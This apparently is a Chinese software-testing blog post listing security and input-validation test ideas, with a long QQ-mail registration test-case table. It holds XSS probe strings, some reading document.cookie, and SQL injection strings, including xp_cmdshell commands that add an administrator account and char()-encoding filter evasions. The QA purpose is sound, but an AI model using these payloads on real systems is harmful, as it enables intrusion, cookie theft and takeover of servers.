安全性测试

建立整体的威胁模型,测试溢出漏洞、信息泄漏、错误处理、 SQL 注入、身份验证和授权错误

输入验证 
客户端验证服务器端验证(禁用脚本调试,禁用Cookies)

1.输入很大的数(如4,294,967,269),输入很小的数(负数
2.输入超长字符,如对输入文字长度有限制,则尝试超过限制,刚好到达限制字数时有何反应 
3.输入特殊字符,:~!@#$%^&*()_+<>:”{}| 
4.输入中英文空格,输入字符串中间含空格,输入首尾空格

5.输入特殊字符串NULL,null0x0d 0x0a

6.输入正常字符串  
7.输入与要求不同类型的字符,如: 要求输入数字则检查正值,负值,零值(正零,负零),小数,字母,空值; 要求输入字母则检查输入数字

8.输入htmljavascript代码 

1).输入<html”>”gfhd</html>,看是否出错; 
2).输入<input type=”text” name=”user”/>,看是否出现文本框; 
3).输入<script type=”text/javascript”>alert(“提示”)</script>看是否出现提示;

4).输入<!—xxx,检查页面是否会变形

5).输入”/>’/>,检查是否会出现对于字符
9.对于像回答数这样需检验数字正确性的测试点,不仅对比其与问题最终页的回答数,还要对回答进行添加删除等操作后查看变化 
 
关于上传
1.上传文件是否有格式限制,是否可以上传exe文件; 
2.上传文件是否有大小限制,上传太大的文件是否导致异常错误,上传0K的文件是否会导致异常错误,上传并不存在的文件是否会导致异常错误; 
3.通过修改扩展名的方式是否可以绕过格式限制,是否可以通过压包方式绕过格式限制; 
4.是否有上传空间的限制,是否可以超过空间所限制的大小,如将超过空间的大文件拆分上传是否会出现异常错误。 
5.上传文件大小大于本地剩余空间大小,是否会出现异常错误。 
6.关于上传是否成功的判断。上传过程中,中断。程序是否判断上传是否成功。

7.对于文件名中带有中文字符,特殊字符等的文件上传。

 
关于URL 
1.某些需登录后或特殊用户才能进入的页面,是否可以通过直接输入网址的方式进入;

2.对于带参数的网址,恶意修改其参数,(若为数字,则输入字母,或很大的数字,或输入特殊字符等)后打开网址是否出错,是否可以非法进入某些页面; 
3.搜索页面等url中含有关键字的,输入html代码或JavaScript看是否在页面中显示或执行。 
4.输入善意字符。

 

 UBB: 

 
1.试着用各种方式输入UBB代码,比如代码不完整,代码嵌套等等.

2.UBB代码中加入属性,如样式,事件等属性,看是否起作用

3.输入编辑器中不存在的UBB代码,看是否起作用  

链接:

[email=javascript:alert('hello')]EMail[/email] [email=yangtao@rising.com.cn

STYLE="background-image:

url(javascript:alert('XSS'))"]yangtao@rising.com.cn[/email] 

 

style="background-image:url(javascript:alert('alert(xss)'))"" /> 

 

[b STYLE="background-image: url(javascript:alert('XSS'))"]一首诗酸涩涩服务网[/b]

[i STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/i]

 

[u]一二三四五六七北京市[/u]

[font=微软雅黑" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/font]

[size=4" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/size]

[color=Red" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/color]

[align=center" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/align]

[float=left" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/float]

[font=微软雅黑 STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/font]

[size=4 STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/size]

[color=Red STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/color]

 

[align=center STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/align]

 

    

    一二三四五六七北京市

 

 

[indent]一二三四五六七北京市[/indent]

 

 

 

 

 

 

[float=left STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/float]

[media=ra,400,300,0]http://bbsforblog.ikaka.com/posttopic.aspx?forumid=109[/media] 

2. 输出编码

常用的测试输入语句有:

<input type="text"/> <input/> <input/  

<script>alert('hello');</script> 1.jpg" onmouseover="alert('xss')

"></a><script>alert(‘xss’);</script> http://xxx';alert('xss');var/ a='a ‘”>xss&< 

a=”\”  b=”;alert(/xss/);//”

<img src=“输出内容” border=“0” alt=“logo” /> “‟” „”‟ “””

“ “ “”“ “‘ ”

title=””

对输出数据到输出数据的对比,看是否出现问题。

 

防止SQL注入

Admin-- or --

  and  (   )   exec   insert   *   %   chr   mid   

and 1=1 ; And 1=1 ; aNd 1=1 ; char(97)char(110)char(100) char(49)char(61)char(49)  ;  %20AND%201=2 „and 1=1    ;  „And  1=1   ;   „aNd   1=1   ; and 1=2    ;   „and 1=2 and 2=2 and user>0

and (select count(*) from sysobjects)>0 and (select count(*) from msysobjects)>0

and (Select Count(*) from Admin)>=0

and (select top 1 len(username) from Admin)>0(username 已知字段) ;exec master..xp_cmdshell net user name password /add”—

;exec master..xp_cmdshell “net localgroup name administrators /add”— and 0<>(select count(*) from admin)

简单的如where xtype=U,字符U对应的ASCII码是85,所以可以用where xtype=char(85)代替;如果字符是中文的,比如where name=用户,可以用where name=nchar(29992)+nchar(25143)代替。


跨站脚本攻击(XSS 
对于XSS只需检查 HTML 输出并看看您输入的内容在什么地方。它在一个 HREF 标记中吗?是否在 IFRAME 标记中?它在 CLSID 标记中吗?在 IMG SRC 中吗?某些 Flash 内容的 PARAM NAME 是怎样的?

~!@#$%^&*()_+<>,./?;'"[]{}\- %3Cinput /%3E 
%3Cscript%3Ealert('XSS')%3C/script%3E <input type="text"/> 
<input/> <input/   
<script>alert('xss')</script> <script>alert('xss');</script> 
</script><script>alert(„xss)</script> javascript:alert(/xss/) 
javascript:alert(/xss/) 
<img src="#" onerror=alert(/xss/)>  
<img src="#" style="Xss:expression(alert(/xss/));">  <img src="#"/**/onerror=alert(/xss/) width=100> =><script>alert(document.cookie)</script>  1.jpg" onmouseover="alert('xss') 
"></a><script>alert(„xss);</script> http://xxx';alert('xss');var/ a='a ”>xss&< 
"onmouseover=alert('hello');" &{alert('hello');} 
  >"'><script>alert(„XSS')</script> 
  >%22%27><img%20src%3d%22javascript:alert(%27XSS%27)%22> >"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS%26quot;)>  
AK%22%20style%3D%22background:url(javascript:alert(%27XSS%27))%22%20OS%22 
  %22%2Balert(%27XSS%27)%2B%22 
  <table background="javascript:alert(([code])"></table> 

 

<object type=text/html data="javascript:alert(([code]);"></object>   <body onload="javascript:alert(([code])"></body>   a?<script>alert(Vulnerable)</script> 

<!--'">&: 
var from = „$!rundata.Parameters.getString(from)';   var from = ”;hackerFunction(document.cookie);”;   
http://searchbox.mapbar.com /publish/template/template1010/?CID=qingke&tid=tid1010&cityName= <script>alert("hello")</script>&nid=MAPBXITBJRQMYWJRXPCBX 

14.看是否支持tapenter键等;密码是否可以复制粘贴;密码是否以* 之类的加秘符号显示 
备注:边界值的上点、内点和离点大家应该都知道吧,呵呵,这里我就不细说了~~ 二、修改密码 
当然具体情况具体分析哈~不能一概而论
际测试中可能只用到其中几条而已,比如银行卡密码的修改,就不用考虑英文和非法字符,更不用考虑那些TAP之类的快捷键。而有的需要根据需求具体分析了,比如连续出错多少次出现的提示,和一些软件修改密码要求一定时间内有一定的修改次数限制等等。

1.不输入旧密码,直接改密码

2.输入错误旧密码

3.不输入确认新密码

4.不输入新密码 
5.新密码和确认新密码不一致

6.新密码中有空格

7.新密码为空 
8.新密码为符合要求的最多字符

9.新密码为符合要求的最少字符 
10.新密码为符合要求的非最多和最少字符

11.新密码为最多字符-1

12.新密码为最少字符+

1 13.新密码为最多字符+1

14.新密码为最少字符-1 
15. 新密码为非允许字符(如有的密码要求必须是英文和数字组成,那么要试汉字和符号等) 16.看是否支持tapenter键等;密码是否可以复制粘贴;密码是否以* 之类的加秘符号

17.看密码是否区分大小写,新密码中英文小写,确认密码中英文大写

18.新密码与旧密码一样能否修改成功

 

另外一些其他的想法如下: 
1 要测试所有规约中约定可以输入的特殊字符,字母,和数字,要求都可以正常输入、显示正常和添加成功 
2 关注规约中的各种限制,比如长度,大否支持大小写。 
3 考虑各种特殊情况,比如添加同名用户,系统是否正确校验给出提示信息,管理员帐户是否可以删除,因为有些系统管理员拥有最大权限,一旦删除管理员帐户,就不能在前台添加,这给最终用户会带来很多麻烦。比较特殊的是,当用户名中包括了特殊字符,那么对这类用户名的添加同名,修改,删除,系统是否能够正确实现,我就遇到了一个系统,添加同名用户时,如果以前的用户名没有特殊字符,系统可以给出提示信息,如果以前的用户名包含特殊字符,就不校验在插入数据库的时候报错。后来查到原因了,原来是在java中拼SQL语句的时候,因为有"_",所以就调用了一个方法在“_”,前面加了一个转义字符,后来发现不该调用这个方法。所以去掉就好了。所以对待输入框中的特殊字符要多关注。

4 数值上的长度之类的,包括出错信息是否合理  
5 特殊字符:比如。 / ' " \ </html> 这些是否会造成系统崩溃

6 注入式bug:比如密码输入个or 1=1

7 登录后是否会用明文传递参数 

 

 
输入框测试 
1.验证输入与输出的是否信息一致;  

2.输入框之前的标题是否正确; 
3.对特殊字符的处理,尤其是输入信息徐需要发送到数据库的。特殊字符包括:'(单引号)、"(双引号)、[](中括号)、()(小括号)、{}(大括号)、;(分号)、<>(大于小于号)……

4.对输入框输入超过限制的字符的处理,一般非特殊的没有作出限制的在255byte左右; 
5.输入框本身的大小、长度;  

6.不同内码的字符的输入;  

7.对空格、TAB字符的处理机制;  

8.字符本身显示的颜色; 
9.密码输入窗口转换成星号或其它符号; 
10.密码输入框对其中的信息进行加密,防止采用破解星号的方法破解;  

11.按下ctrlalt键对输入框的影响; 
12.对于新增、修改、注册时用的输入框,有限制的,应该输入时作出提示,指出不允许的或者标出允许的; 
13.对于有约束条件要求的输入框应当在条件满足时输入框的状态发生相应的改变,比如选了湖南就应该列出湖南下面的市,或者选了某些条件之后,一些输入框会关闭或转为只读状态; 
14.输入类型;根据前面的栏位标题判断该输入框应该输入哪些内容算是合理的。例如,是否允许输入数字或字母,不允许输入其他字符等。 
15.输入长度;数据库字段有长度定义,当输入过长时,提交数据是否会出错。  

16.输入状态;当处于某种状态下,输入框是否处于可写或非可写状态。例如,系统自动给予的编号等栏位作为唯一标识,当再次处于编辑状态下,输入框栏位应处于不可写状态,如果可写对其编辑的话,可能会造成数据重复引起冲突等。 
17.如果是会进行数据库操作的输入框,还可以考虑输入SQL中的一些特殊符号如单引号等,有时会有意想不到的错误出现  

18.输入类型输入长度 
是否允许复制粘贴为空的情况空格的考虑半角全角测试 
对于密码输入框要考虑显示的内容是*  输入错误时的提示信息及提示信息是否准确  

19.可以先了解你要测试的输入框在软件系统的某个功能中所扮演的角色,然后了解其具体的输入条件,在将输入条件按照有效等价类,无效等价类,边界值等方法进行测试用例的设计。 
20.关键字有大小写混合的情况; 
21.关键字中含有一个或多个空格的情况,包括前空格,中间空格(多个关键字),和后空格; 
22.关键字中是否支持通配符的情况(视功能而定);  

23.关键字的长度分别为91011个字符时的情况;  

24.关键字是valid,但是没有匹配搜索结果的情况; 
25.输入html的标签会出现哪些问题?输入<html> 会出现什么问题呢?(这条是我自己发现的,在网上也没找到类似的东东,呵呵,大家凑合着看吧)  

安全测试方面: 
给出一些特别的关键字,比如 or 1=1, 这样的关键字如果不被处理就直接用到数据库查询中去,后果可想而知。

QQ注册页面详细的测试用例 用例编号 需求(用例标题) 模块 步骤 预期结果 测试结果 功能点优先级 V_0001 显示输入状态 注册页面 "1、进入QQ邮箱账号申请页面 2、鼠标点击邮箱账号输入框" 光标闪动,输入框亮色 1 V_0002 页面失效 注册页面 "1、进入QQ邮箱账号申请页面 2、长时间离开页面" 提示:由于您长时间离开导致页面失效,请重新注册 1 V_0003 输入不合理邮箱账号 注册页面 "1.进入QQ邮箱账号申请页面 2.输入错误的邮箱名,如111111111 3.鼠标焦点离开邮箱账号框" 提示:邮箱格式错误 1 V_0004 输入字母自动弹出合理的邮箱账号下拉框选项 注册页面 "1.进入QQ邮箱账号申请页面 2.输入字母 如 aa 自动弹出合理下拉框选项 3.选择其中一种" 提示:创建成功 1 V_0005 输入数字自动弹出合理的邮箱账号下拉框选项 注册页面 "1.进入QQ邮箱账号申请页面 2.输入数字 如 11 自动弹出合理下拉框选项 3.选择其中一种" 提示:创建成功 1 V_0006 邮箱账号分类选项 注册页面 "1.进入QQ邮箱账号申请页面 2.鼠标焦点进入邮箱账号框" "提示:1.请输入你常用的电子邮箱 2.选择""创建邮箱""或""注册普通QQ号""" 1 V_0007 查看邮箱账号旁边分类选项的“注册普通QQ号”选项是否有用 注册页面 "1.进入QQ邮箱账号申请页面 2.点击邮箱账号旁边的“注册普通QQ号” 3.是否正确转换到“QQ账号注册”页面" 成功转换页面 1 V_0008 查看邮箱账号旁边分类选项的“创建邮箱”选项是否有用 注册页面 "1.进入QQ邮箱账号申请页面 2.点击邮箱账号旁边的“创建邮箱” 3.邮箱账号是否分为2部分组成;前半部为输入项;后半部为选择项 " 成功显示区分状态 1 V_0009 查看邮箱账号右侧选择的下拉框选项是否可用 注册页面 "1.进入QQ邮箱账号申请页面 2.点击邮箱账号旁边的“创建邮箱” 3.邮箱账号是否分为2部分组成;左半部为输入项;右半部为选择项 4.点击右半部的选项下拉框,查看是否可用" 可以正确选择其中一种 1 V_0010 邮箱账号不能为空 右侧邮箱账号结尾默认值为@qq.com 注册页面 "1.进入QQ邮箱账号申请页面 2.左侧不输入任何符号 3.右侧随意选择一种选项 如 @qq.com 4.鼠标焦点离开邮箱账号输入框" 提示:请输入邮箱 1 V_0011 注册页面 "1.进入QQ邮箱账号申请页面 2.左侧输入 空格键 3.右侧随意选择一种选项 如@qq.com 4.鼠标焦点离开账号输入框" 提示:请输入邮箱 1 V_0012 不以字母开头的邮箱账号 注册页面 "1.进入QQ邮箱账号申请页面 2.左侧输入以空格、数字、点、减号、下划线组成的邮箱账号 3.右侧随意选择一种选项 如 @qq.com 4.鼠标焦点离开邮箱账号框" 提示:必须以a-z的字母(不区分大小写)为开头 V_0013 "输入小于3位的字符邮箱账号 (不区分大小写)" 注册页面 "1.进入QQ邮箱账号申请页面 2.左侧输入小于3位的字符 如 aa 3.右侧随意选择一种选项 如 @qq.com 4.鼠标焦点离开账号输入框" 提示:长度该为3-18个字符 1 V_0014 "输入大于18位的字符邮箱账号 (不区分大小写)" 注册页面 "1.进入QQ邮箱账号申请页面 2.左侧输入大于18位的字符 如 aaaaa11111#####a2%] 3.右侧随意选择一种选项 如 @qq.com 4.鼠标焦点离开账号输入框" 提示:长度该为3-18个字符 1 V_0015 输入3-18位字符包含不合理使用的特殊符号(点、减号、下划线) 注册页面 "1.进入QQ邮箱账号申请页面 2.左侧输入包含不合理使用特殊符号的账号 如 aaa3122s2...wa 3.右侧随意选择一种选项 如@qq.com 4.鼠标焦点离开账号输入框" 提示:点、减号、下划线不能连续出现2次或2次以上 1 V_0016 输入3-18位字符包含合理使用的特殊符号(点、减号、下划线) 注册页面 "1.进入QQ邮箱账号申请页面 2.左侧输入包含合理使用特殊符号的账号 如 aaa-312_2s2.wa 3.右侧随意选择一种选项 如@qq.com 4.鼠标焦点离开账号输入框" 提示:创建成功 1 V_0017 检测账号是否已被注册 注册页面 "1.进入QQ邮箱账号申请页面 2.左侧输入3-18个合理字符 如 aaaaa222222 3.右侧随意选择一种选项 如@qq.com 4.鼠标焦点离开账号输入框" 提示:账号以被注册 1 V_0018 注册页面 "1.进入QQ邮箱账号申请页面 2.左侧输入3-18个合理字符 如 akuhkj523312 3.右侧随意选择一种选项 如@qq.com 4.鼠标焦点离开账号输入框" 提示:创建成功 1 V_0019 输入以点、减号、下划线为结尾 注册页面 "1、进入邮箱账号申请页面 2、左侧输入以点、减号、下划线为结尾 如 asdas123_ 3、右侧随意选择一种选项 如@QQ.com 4.鼠标焦点离开账号输入框" 提示:请以字母或数字结尾 1 V_0020 输入以字母或数字结尾 注册页面 "1、进入邮箱账号申请页面 2、左侧输入以字母或数字结尾 如asdasw_11 3、右侧随意选择一种选项 如@qq.com 4.鼠标焦点离开账号输入框" 提交成功 1 V_0021 显示输入状态 注册页面 "1、进入QQ邮箱账号申请页面 2、鼠标点击昵称输入框" 光标闪动,输入框亮色 1 V_0022 昵称不能为空 注册页面 "1.进入QQ邮箱账号申请页面 2.点击进入昵称输入框 3.不输入任何符号 4.鼠标焦点离开昵称输入框" "提示:1.请输入昵称 2.昵称输入框变红" 1 V_0023 注册页面 "1.进入QQ邮箱账号申请页面 2.点击进入昵称输入框 3.输入空格符号 4.鼠标焦点离开昵称输入框" "提示:1.昵称不能为空格 2.昵称输入框变红" 1 V_0024 输入大于24位字符 注册页面 "1.进入QQ邮箱账号申请页面 2.点击进入昵称输入框 3.输入大于24位的字符 如 aaaaaaaa11111111$$$$$$$$y 4.鼠标焦点离开昵称输入框" 提示:不能超过24个字符或12个汉字 1 V_0025 输入大于12个汉字 注册页面 "1.进入QQ邮箱账号申请页面 2.点击进入昵称输入框 3.输入大于12个的汉字 如啊啊啊啊啦啊啊啊啊啦啊啊啊 4.鼠标焦点离开昵称输入框" 提示:不能超过24个字符或12个汉字 1 V_0026 输入大于12位字符和6个汉字 注册页面 "1.进入QQ邮箱账号申请页面 2.点击进入昵称输入框 3.输入大于12位字符和6个汉字 如asdc1234^&*&啊啊啦暗暗额h 4.鼠标焦点离开昵称输入框" 提示:不能超过24个字符或12个汉字 1 V_0027 输入不超过24个字符或12个汉字 注册页面 "1.进入QQ邮箱账号申请页面 2.点击进入昵称输入框 3.输入12342 4.鼠标焦点离开昵称输入框" 提示:创建成功 1 V_0028 密码提示功能 注册页面 "1.进入QQ邮箱账号申请页面 2.鼠标点击密码输入框" 提示:请输入密码 1 V_0029 密码不能为空 注册页面 "1.进入QQ邮箱账号申请页面 2.不输入任何符号 3.鼠标焦点离开密码输入框" "提示:1请输入密码 2密码框变红" 1 V_0030 注册页面 "1.进入QQ邮箱账号申请页面 2.输入空格符号 3.鼠标焦点离开密码输入框" "提示:1密码不能为空格 2密码框变红" 1 V_0031 设置密码软键盘 注册页面 "1.进入QQ邮箱账号申请页面 2.鼠标焦点进入密码输入框 3.旁边出现软键盘图标 4.进入软键盘,看能否使用" 弹出软件盘能正常使用 1 V_0032 填写不合理密码长度小于6位字符 注册页面 "1.进入QQ邮箱账号申请页面 2.输入小于6位的字符,如55555 3.鼠标焦点离开密码输入框" "提示:1密码长度应为6-16位字符 2密码框变红" 1 V_0033 填写不合理密码长度大于16位字符 注册页面 "1.进入QQ邮箱账号申请页面 2.输入大于16位的字符,如55555666667777788 3.鼠标焦点离开密码输入框" "提示:1密码长度不能过长 2密码框变红" 1 V_0034 "密码不能为9位以下的纯数字 " 注册页面 "1.进入QQ邮箱账号申请页面 2.输入小于9位的纯数字,如88888888 3.鼠标焦点离开密码输入框" "提示:1密码不能为9位以下的纯数字 2密码框变红" 1 V_0035 "填写合理的密码最小长度 区分大小写" 注册页面 "1.进入QQ邮箱账号申请页面 2.输入6位的字符,如z55555 3.鼠标焦点离开密码输入框" 提示:密码成功 1 V_0036 "填写合理的密码最大长度 区分大小写" 注册页面 "1.进入QQ邮箱账号申请页面 2.输入16位的字符,如5555566666777778 3.鼠标焦点离开密码输入框" 提示:密码成功 1 V_0037 "填写合理的密码纯数字 " 注册页面 "1.进入QQ邮箱账号申请页面 2.输入9位的纯数字,如888888888 3.鼠标焦点离开密码输入框" 提示:密码成功 1 V_0038 "填写合理的密码组合数字加字母 区分大小写" 注册页面 "1.进入QQ邮箱账号申请页面 2.输入数字加组合,如8888zasd 3.鼠标焦点离开密码输入框" 提示:密码成功 1 V_0039 提示密码强度 弱 注册页面 "1.进入QQ邮箱账号申请页面 2.输入纯数字,如8888888888 3.鼠标焦点离开密码输入框" 提示:密码强度 弱 1 V_0040 提示密码强度 中 注册页面 "1.进入Q邮箱Q账号申请页面 2.输入字母加数字,如zxcs7654 3.鼠标焦点离开密码输入框" 提示:密码强度 中 1 V_0041 提示密码强度 强 注册页面 "1.进入QQ邮箱账号申请页面 2.输入数字+字母+符号,如888zsd#¥% 3.鼠标焦点离开密码输入框" 提示:密码强度 强 1 V_0042 确认密码不能为空 注册页面 "1.进入QQ邮箱账号申请页面 2.不输入任何符号 3.鼠标焦点离开密码输入框" 提示:请再次输入密码 1 V_0043 确认密码要一致 注册页面 "1.进入QQ邮箱账号申请页面 2.输入不一致的密码 3.鼠标焦点离开密码输入框" 提示:密码不一致 1 V_0044 注册页面 "1.进入QQ邮箱账号申请页面 2.输入一致的密码 3.鼠标焦点离开密码输入框" 提示:密码成功 1 V_0045 设置确认密码软键盘 注册页面 "1.进入QQ邮箱账号申请页面 2.鼠标焦点进入确认密码输入框 3.旁边出现软键盘图标 4.进入软键盘,看能否使用" 弹出软键盘能正常使用 1 V_0046 选择性别 (默认设置为 男) 注册页面 "1.进入QQ邮箱账号申请页面 2.选择性别 默认设置为 男 3.鼠标焦点离开性别选择输入框" 提示:选择成功 1 V_0047 注册页面 "1.进入QQ邮箱账号申请页面 2.选择性别 如 女 3.鼠标焦点离开性别选择输入框" 提示:选择成功 1 V_0048 不选择生日日期:年 月 日 注册页面 "1.进入QQ邮箱账号申请页面 2.不选择任何选项 3.鼠标焦点离开生日输入框" 提示:请选择生日 1 V_0049 只选择生日日期:年 注册页面 "1.进入QQ邮箱账号申请页面 2.只选择年份,如1991年 3.鼠标焦点离开生日输入框" 提示:请选择生日 1 V_0050 只选择生日日期:年 月 注册页面 "1.进入QQ邮箱账号申请页面 2.只选择年份+月份,如1991年1月 3.鼠标焦点离开生日输入框" 提示:请选择生日 1 V_0051 "选择生日日期:年 月 日 默认设置为 公历" 注册页面 "1.进入QQ邮箱账号申请页面 2.选择年份+月份+日期,默认设置为公历,如 公历 1991年1月11日 3.鼠标焦点离开生日输入框" 提示:属马 魔蝎座 1 V_0052 查看年份下拉框选项内容是否正确 注册页面 "1.进入QQ邮箱账号申请页面 2.进入选择年份 3.查看年份下拉框选项内容是否正确 " 年份选项正确 1 V_0053 输入错误年份 注册页面 "1.进入QQ邮箱账号申请页面 2.进入选择年份 输出错误年份 3.自动默认年份第1个选项为默认值 " 默认年份第1个选项 1 V_0054 查看月份下拉框选项内容是否正确 注册页面 "1.进入QQ邮箱账号申请页面 2.选择出年份 进入选择月份 3.查看月份下拉框选项内容是否正确 " 月份选项正确 1 V_0055 输入错误月份 注册页面 "1.进入QQ邮箱账号申请页面 2.选择出年份 进入选择月份 输出错误月份 3.自动默认月份第1个选项为默认值 " 默认月份第1个选项 1 V_0056 查看日期下拉框选项内容是否正确 注册页面 "1.进入QQ邮箱账号申请页面 2.选择出年份和月份 进入选择日期 3.查看日期下拉框选项内容是否正确 " 日期选项正确 1 V_0057 输入错误日期 注册页面 "1.进入QQ邮箱账号申请页面 2.选择出年份和月份 进入选择日期 输出错误日期 3.自动默认日期第1个选项为默认值 " 默认日期第1个选项 1 V_0058 生日是否有农历选项 注册页面 "1.进入QQ邮箱账号申请页面 2.在公历下拉框选项内容 3.选择出农历 选项值" 能选择出农历选项 1 V_0059 查看农历年份下拉框选项内容是否正确 注册页面 "1.进入QQ邮箱账号申请页面 2.进入农历选项 选择年份 3.查看年份下拉框选项内容是否正确 " 年份选项正确 1 V_0060 查看农历月份下拉框选项内容是否正确 注册页面 "1.进入QQ邮箱账号申请页面 2.进入农历选项 选择出年份 再选择月份 3.查看月份下拉框选项内容是否正确 " 月份选项正确 1 V_0061 查看农历日期下拉框选项内容是否正确 注册页面 "1.进入QQ邮箱账号申请页面 2.进入农历选项 选择出年份和月份 选择日期 3.查看日期下拉框选项内容是否正确 " 日期选项正确 1 V_0062 选择所在地 注册页面 "1.进入QQ邮箱账号申请页面 2.选择你的所在地 默认设置为 中国广东省广州市 3.鼠标焦点离开所在地输入框" 提示:选择成功 1 V_0063 查看国家所在地下拉框选项内容是否正确 注册页面 "1.进入QQ邮箱账号申请页面 2.进入选择国家 3.查看国家下拉框选项内容是否正确 " 国家选项正确 1 V_0064 输入错误国家 注册页面 "1.进入QQ邮箱账号申请页面 2.进入选择国家 输出错误国家 3.自动默认国家第1个选项为默认值 " 默认国家第1个选项 1 V_0065 查看省份下拉框选项内容是否正确 注册页面 "1.进入QQ邮箱账号申请页面 2.选择出国家 进入选择省份 3.查看省份下拉框选项内容是否正确 " 省份选项正确 1 V_0066 输入错误省份 注册页面 "1.进入QQ邮箱账号申请页面 2.选择出国家 进入选择省份 输出错误省份 3.自动默认省份第1个选项为默认值 " 默认省份第1个选项 1 V_0067 查看城市下拉框选项内容是否正确 注册页面 "1.进入QQ邮箱账号申请页面 2.选择出国家和省份 进入选择城市 3.查看城市下拉框选项内容是否正确 " 城市选项正确 1 V_0068 输入错误城市 注册页面 "1.进入QQ邮箱账号申请页面 2.选择出国家和省份 进入选择城市 输出错误城市 3.自动默认城市第1个选项为默认值 " 默认城市第1个选项 1 V_0069 填写不合理的验证码 注册页面 "1.进入QQ邮箱账号申请页面 2.不输入任何符号 3.鼠标焦点离开验证码输入框" 提示:请输入验证码 1 V_0070 注册页面 "1.进入QQ邮箱账号申请页面 2.输入不一致的验证码 3.鼠标焦点离开验证码输入框" "提示:输入错误 请重新输入" 1 V_0071 填写合理的验证码 不区分大小写 注册页面 "1.进入QQ邮箱账号申请页面 2.输入正确的验证码 3.鼠标焦点离开验证码输入框" 提示:选择成功 1 V_0072 验证码的图片可否换一张 注册页面 "1.进入QQ邮箱账号申请页面 2.点击验证码图片的旁边“换一张”看能否更换" 更换成功 1 V_0073 选择“我已阅读并同意相关服务条款” 注册页面 "1.进入QQ邮箱账号申请页面 2.不选择“我已阅读并同意相关服务条款” 3.鼠标焦点离开输入框" "提示:1.请选择“我已阅读并同意相关服务条款” 2.立即注册选项变黑" 1 V_0074 注册页面 "1.进入QQ邮箱账号申请页面 2.选择“我已阅读并同意相关服务条款” 3.鼠标焦点离开输入框" 提示:选择成功 1 V_0075 能否点击查看《QQ号码规则》 注册页面 "1.进入QQ邮箱账号申请页面 2.点击“我已阅读并同意相关服务条款”旁边的选项下拉框进入《QQ号码规则》 3.是否可以进入《QQ号码规则》" 可以进入 1
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值